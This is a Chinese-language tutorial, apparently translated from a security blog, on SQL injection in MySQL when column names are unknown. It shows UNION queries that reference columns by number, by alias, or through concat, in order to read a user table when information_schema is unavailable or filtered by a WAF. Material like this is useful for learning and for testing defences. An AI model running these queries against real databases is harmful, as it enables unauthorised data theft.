欢迎来到代码驿站!

Mysql

当前位置:首页 > 数据库 > Mysql

MySQL在不知道列名情况下的注入详解

时间:2021-05-31 08:25:17|栏目:Mysql|点击:

前言

最近感觉脑子空空,全在为了刷洞去挖洞,还是回归技术的本身让自己舒服些。好了,下面话不多说了,来一起看看详细的介绍吧

前提

以下情况适用于 MySQL < 5版本,或者在 MySQL >= 5 的版本[存在information_schema库],且已获取到库名和表名

① 当只能获取到表名,获取不到列名或者只能获取到无有效内容的列名情况【例如 id】

② 当希望通过information_schema库中的表去获取其他表的结构,即表名、列名等,但是这个库被WAF过滤掉的情况

其实个人感觉这个方法还是对 5 版本以下的实用性比较强一些,因为对我来说,一般遇到waf就放弃了(菜的真实23333)

解决

正常的查询:

以下是正常查询 test 库中的 user 表内容

select * from user;

UNION查询:

select 1,2,3,4 union select * from user;

数字对应列查询:

可以使用数字来对应列来进行查询,如 2 对应了表里面的 name 列

select `2` from (select 1,2,3,4 union select * from user)a;

别名代替查询:

当反引号 ` 不能使用的时候,可以使用别名来代替,如设置 2 的别名为 b

select b from (select 1,2 as b,3,4 union select * from user)a;

多列合并查询:

同上:这里反引号不能用的话,一样可以使用别名代替

select concat(`2`,0x3a,`3`) from (select 1,2,3,4 union select * from user)a limit 1,1;

仅作翻译以及思路整理

原文链接:https://blog.redforce.io/sqli-extracting-data-without-knowing-columns-names/

总结

上一篇:MySQL命令行导出导入数据库实例详解

栏    目:Mysql

下一篇:MySQL触发器学习总结

本文标题:MySQL在不知道列名情况下的注入详解

本文地址:http://www.codeinn.net/misctech/132412.html

推荐教程

广告投放 | 联系我们 | 版权申明

重要申明:本站所有的文章、图片、评论等,均由网友发表或上传并维护或收集自网络,属个人行为,与本站立场无关。

如果侵犯了您的权利,请与我们联系,我们将在24小时内进行处理、任何非本站因素导致的法律后果,本站均不负任何责任。

联系QQ:914707363 | 邮箱:codeinn#126.com(#换成@)

Copyright © 2020 代码驿站 版权所有